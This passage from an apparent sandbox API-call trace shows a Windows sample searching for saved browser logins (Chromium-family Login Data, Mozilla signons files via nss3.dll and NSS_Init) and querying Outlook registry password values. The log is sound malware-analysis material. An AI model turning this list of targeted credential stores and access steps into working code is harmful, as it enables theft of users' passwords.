	[0211.995] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x5ffe118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local", lpFilePart=0x0) returned 0x1f
	[0211.995] GetLastError () returned 0x3f0
	[0212.000] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe13c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a
	[0212.000] GetLastError () returned 0x3f0
	[0212.000] SetErrorMode (uMode=0x1) returned 0x0
	[0212.000] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\comodo\\dragon\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5bc | out: lpFileInformation=0x5ffe5bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0212.001] GetLastError () returned 0x3
	[0212.001] SetErrorMode (uMode=0x0) returned 0x1
	[0212.044] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Flock\\Browser\\profiles.ini", nBufferLength=0x105, lpBuffer=0x5ffdff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Flock\\Browser\\profiles.ini", lpFilePart=0x0) returned 0x3c
	[0212.044] GetLastError () returned 0x3
	[0212.044] SetErrorMode (uMode=0x1) returned 0x0
	[0212.044] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Flock\\Browser\\profiles.ini" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\flock\\browser\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff
	[0212.045] GetLastError () returned 0x3
	[0212.047] SetErrorMode (uMode=0x0) returned 0x1
	[0212.080] GetEnvironmentVariableW (in: lpName="PROGRAMFILES(x86)", lpBuffer=0x5af788, nSize=0x80 | out: lpBuffer="C:\\Program Files (x86)") returned 0x16
	[0212.080] GetLastError () returned 0x3
	[0212.082] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll", nBufferLength=0x105, lpBuffer=0x5ffe148, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll", lpFilePart=0x0) returned 0x2f
	[0212.082] GetLastError () returned 0x3
	[0212.082] SetErrorMode (uMode=0x1) returned 0x0
	[0212.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5c8 | out: lpFileInformation=0x5ffe5c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0475e0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xdc0475e0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3318ad80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1b1870)) returned 1
	[0212.084] GetLastError () returned 0x3
	[0212.084] SetErrorMode (uMode=0x0) returned 0x1
	[0212.086] GetEnvironmentVariableW (in: lpName="PROGRAMFILES(x86)", lpBuffer=0x5af788, nSize=0x80 | out: lpBuffer="C:\\Program Files (x86)") returned 0x16
	[0212.086] GetLastError () returned 0x3
	[0212.089] GetEnvironmentVariableW (in: lpName="PROGRAMFILES(x86)", lpBuffer=0x5af788, nSize=0x80 | out: lpBuffer="C:\\Program Files (x86)") returned 0x16
	[0212.089] GetLastError () returned 0x3
	[0212.091] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Postbox\\nss3.dll", nBufferLength=0x105, lpBuffer=0x5ffe148, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Postbox\\nss3.dll", lpFilePart=0x0) returned 0x27
	[0212.091] GetLastError () returned 0x3
	[0212.091] SetErrorMode (uMode=0x1) returned 0x0
	[0212.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Postbox\\nss3.dll" (normalized: "c:\\program files (x86)\\postbox\\nss3.dll"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5c8 | out: lpFileInformation=0x5ffe5c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0212.091] GetLastError () returned 0x3
	[0212.091] SetErrorMode (uMode=0x0) returned 0x1
	[0212.093] GetEnvironmentVariableW (in: lpName="PROGRAMFILES(x86)", lpBuffer=0x5af788, nSize=0x80 | out: lpBuffer="C:\\Program Files (x86)") returned 0x16
	[0212.093] GetLastError () returned 0x3
	[0212.094] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Thunderbird\\nss3.dll", nBufferLength=0x105, lpBuffer=0x5ffe148, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Thunderbird\\nss3.dll", lpFilePart=0x0) returned 0x33
	[0212.094] GetLastError () returned 0x3
	[0212.094] SetErrorMode (uMode=0x1) returned 0x0
	[0212.094] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Thunderbird\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla thunderbird\\nss3.dll"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5c8 | out: lpFileInformation=0x5ffe5c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0212.095] GetLastError () returned 0x3
	[0212.095] SetErrorMode (uMode=0x0) returned 0x1
	[0212.098] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\SeaMonkey\\nss3.dll", nBufferLength=0x105, lpBuffer=0x5ffe148, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\SeaMonkey\\nss3.dll", lpFilePart=0x0) returned 0x29
	[0212.098] GetLastError () returned 0x3
	[0212.098] SetErrorMode (uMode=0x1) returned 0x0
	[0212.098] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\SeaMonkey\\nss3.dll" (normalized: "c:\\program files (x86)\\seamonkey\\nss3.dll"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5c8 | out: lpFileInformation=0x5ffe5c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0212.098] GetLastError () returned 0x3
	[0212.098] SetErrorMode (uMode=0x0) returned 0x1
	[0212.101] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Flock\\nss3.dll", nBufferLength=0x105, lpBuffer=0x5ffe148, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Flock\\nss3.dll", lpFilePart=0x0) returned 0x25
	[0212.101] GetLastError () returned 0x3
	[0212.101] SetErrorMode (uMode=0x1) returned 0x0
	[0212.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Flock\\nss3.dll" (normalized: "c:\\program files (x86)\\flock\\nss3.dll"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5c8 | out: lpFileInformation=0x5ffe5c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0212.101] GetLastError () returned 0x3
	[0212.101] SetErrorMode (uMode=0x0) returned 0x1
	[0212.101] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\", nBufferLength=0x105, lpBuffer=0x5ffe148, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\", lpFilePart=0x0) returned 0x27
	[0212.101] GetLastError () returned 0x3
	[0212.101] SetErrorMode (uMode=0x1) returned 0x0
	[0212.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\" (normalized: "c:\\program files (x86)\\mozilla firefox"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5c8 | out: lpFileInformation=0x5ffe5c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbef0980, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3c903cf0, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x3c903cf0, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1
	[0212.101] GetLastError () returned 0x3
	[0212.101] SetErrorMode (uMode=0x0) returned 0x1
	[0212.103] SetDllDirectoryW (lpPathName="C:\\Program Files (x86)\\Mozilla Firefox\\\\") returned 1
	[0212.103] GetLastError () returned 0x3
	[0212.104] LoadLibraryA (lpLibFileName="C:\\Program Files (x86)\\Mozilla Firefox\\\\vcruntime140.dll") returned 0x0
	[0212.115] LoadLibraryA (lpLibFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned 0x70620000
	[0212.710] LoadLibraryA (lpLibFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 0x70330000
	[0213.136] GetProcAddress (hModule=0x70330000, lpProcName="NSS_Init") returned 0x703ed70b
	[0213.138] GetLastError () returned 0x0
	[0213.373] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Flock\\Browser\\signons3.txt", nBufferLength=0x105, lpBuffer=0x5ffe024, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Flock\\Browser\\signons3.txt", lpFilePart=0x0) returned 0x3c
	[0213.373] GetLastError () returned 0x0
	[0213.373] SetErrorMode (uMode=0x1) returned 0x0
	[0213.373] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Flock\\Browser\\signons3.txt" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\flock\\browser\\signons3.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff
	[0213.373] GetLastError () returned 0x3
	[0213.375] SetErrorMode (uMode=0x0) returned 0x1
	[0213.400] FreeLibrary (hLibModule=0x0) returned 0
	[0213.400] GetLastError () returned 0x7e
	[0213.400] FreeLibrary (hLibModule=0x70620000) returned 1
	[0213.400] GetLastError () returned 0x7e
	[0213.400] FreeLibrary (hLibModule=0x70330000) returned 1
	[0213.400] GetLastError () returned 0x7e
	[0213.412] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Local") returned 0x0
	[0213.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x5ffe118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local", lpFilePart=0x0) returned 0x1f
	[0213.412] GetLastError () returned 0x3f0
	[0213.416] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe13c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x53
	[0213.416] GetLastError () returned 0x3f0
	[0213.416] SetErrorMode (uMode=0x1) returned 0x0
	[0213.416] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\maplestudio\\chromeplus\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5bc | out: lpFileInformation=0x5ffe5bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0213.416] GetLastError () returned 0x3
	[0213.416] SetErrorMode (uMode=0x0) returned 0x1
	[0213.435] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Local") returned 0x0
	[0213.435] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x5ffe118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local", lpFilePart=0x0) returned 0x1f
	[0213.435] GetLastError () returned 0x3f0
	[0213.440] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Chromium\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe13c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Chromium\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x45
	[0213.440] GetLastError () returned 0x3f0
	[0213.440] SetErrorMode (uMode=0x1) returned 0x0
	[0213.440] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Chromium\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\chromium\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5bc | out: lpFileInformation=0x5ffe5bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0213.441] GetLastError () returned 0x3
	[0213.441] SetErrorMode (uMode=0x0) returned 0x1
	[0213.459] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Local") returned 0x0
	[0213.459] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x5ffe118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local", lpFilePart=0x0) returned 0x1f
	[0213.459] GetLastError () returned 0x3f0
	[0213.463] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Torch\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x5ffe13c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Torch\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x42
	[0213.463] GetLastError () returned 0x3f0
	[0213.463] SetErrorMode (uMode=0x1) returned 0x0
	[0213.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Torch\\User Data\\Default\\Login Data" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\torch\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x5ffe5bc | out: lpFileInformation=0x5ffe5bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0213.464] GetLastError () returned 0x3
	[0213.464] SetErrorMode (uMode=0x0) returned 0x1
	[0213.490] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x5af788 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Local") returned 0x0
	[0213.491] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x5ffe118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local", lpFilePart=0x0) returned 0x1f
	[0213.491] GetLastError () returned 0x3f0
	[0213.495] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\UCBrowser\\", nBufferLength=0x105, lpBuffer=0x5ffe0dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\UCBrowser\\", lpFilePart=0x0) returned 0x2a
	[0213.495] GetLastError () returned 0x3f0
	[0213.495] SetErrorMode (uMode=0x1) returned 0x0
	[0213.495] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\UCBrowser\\*", lpFindFileData=0x5af7b8 | out: lpFindFileData=0x5af7b8) returned 0xffffffff
	[0213.495] GetLastError () returned 0x3
	[0213.507] SetErrorMode (uMode=0x0) returned 0x1
	[0213.562] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5b4 | out: phkResult=0x5ffe5b4*=0x0) returned 0x2
	[0213.565] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5b4 | out: phkResult=0x5ffe5b4*=0x5a0) returned 0x0
	[0213.567] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5b4 | out: phkResult=0x5ffe5b4*=0x0) returned 0x2
	[0213.569] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5b4 | out: phkResult=0x5ffe5b4*=0x0) returned 0x2
	[0213.572] RegQueryInfoKeyW (in: hKey=0x5a0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x5ffe5f0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5ffe5ec, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x5ffe5f0*=0x3, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5ffe5ec*=0x5, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0213.573] RegEnumKeyExW (in: hKey=0x5a0, dwIndex=0x0, lpName=0x5af788, lpcchName=0x5ffe60c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000001", lpcchName=0x5ffe60c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0213.573] RegEnumKeyExW (in: hKey=0x5a0, dwIndex=0x1, lpName=0x5af788, lpcchName=0x5ffe60c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000002", lpcchName=0x5ffe60c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0213.573] RegEnumKeyExW (in: hKey=0x5a0, dwIndex=0x2, lpName=0x5af788, lpcchName=0x5ffe60c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0x5ffe60c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0213.574] RegOpenKeyExW (in: hKey=0x5a0, lpSubKey="00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5b4 | out: phkResult=0x5ffe5b4*=0x5a4) returned 0x0
	[0213.576] RegQueryValueExW (in: hKey=0x5a4, lpValueName="Email", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.578] RegQueryValueExW (in: hKey=0x5a4, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.580] RegQueryValueExW (in: hKey=0x5a4, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.581] RegQueryValueExW (in: hKey=0x5a4, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.583] RegQueryValueExW (in: hKey=0x5a4, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.584] RegCloseKey (hKey=0x5a4) returned 0x0
	[0213.584] RegOpenKeyExW (in: hKey=0x5a0, lpSubKey="00000002", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5b4 | out: phkResult=0x5ffe5b4*=0x5a4) returned 0x0
	[0213.586] RegQueryValueExW (in: hKey=0x5a4, lpValueName="Email", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x3, lpData=0x0, lpcbData=0x5ffe5f8*=0x20) returned 0x0
	[0213.586] RegQueryValueExW (in: hKey=0x5a4, lpValueName="Email", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x2461418, lpcbData=0x5ffe5f8*=0x20 | out: lpType=0x5ffe5fc*=0x3, lpData=0x2461418*, lpcbData=0x5ffe5f8*=0x20) returned 0x0
	[0213.588] RegQueryValueExW (in: hKey=0x5a4, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.589] RegQueryValueExW (in: hKey=0x5a4, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.591] RegQueryValueExW (in: hKey=0x5a4, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.592] RegQueryValueExW (in: hKey=0x5a4, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.592] RegCloseKey (hKey=0x5a4) returned 0x0
	[0213.592] RegOpenKeyExW (in: hKey=0x5a0, lpSubKey="00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffe5b4 | out: phkResult=0x5ffe5b4*=0x5a4) returned 0x0
	[0213.594] RegQueryValueExW (in: hKey=0x5a4, lpValueName="Email", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.596] RegQueryValueExW (in: hKey=0x5a4, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.597] RegQueryValueExW (in: hKey=0x5a4, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.598] RegQueryValueExW (in: hKey=0x5a4, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.599] RegQueryValueExW (in: hKey=0x5a4, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x5ffe5fc, lpData=0x0, lpcbData=0x5ffe5f8*=0x0 | out: lpType=0x5ffe5fc*=0x0, lpData=0x0, lpcbData=0x5ffe5f8*=0x0) returned 0x2
	[0213.599] RegCloseKey (hKey=0x5a4) returned 0x0
	[0213.644] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Thunderbird\\profiles.ini", nBufferLength=0x105, lpBuffer=0x5ffdfdc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Thunderbird\\profiles.ini", lpFilePart=0x0) returned 0x3a
	[0213.644] GetLastError () returned 0x3
	[0213.644] SetErrorMode (uMode=0x1) returned 0x0
	[0213.644] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Thunderbird\\profiles.ini" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\thunderbird\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff
	[0213.645] GetLastError () returned 0x3
	[0213.647] SetErrorMode (uMode=0x0) returned 0x1
	[0213.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Thunderbird\\signons.sqlite", nBufferLength=0x105, lpBuffer=0x5ffe160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Thunderbird\\signons.sqlite", lpFilePart=0x0) returned 0x3c
	[0213.653] GetLastError () returned 0x3
	[0213.653] SetErrorMode (uMode=0x1) returned 0x0
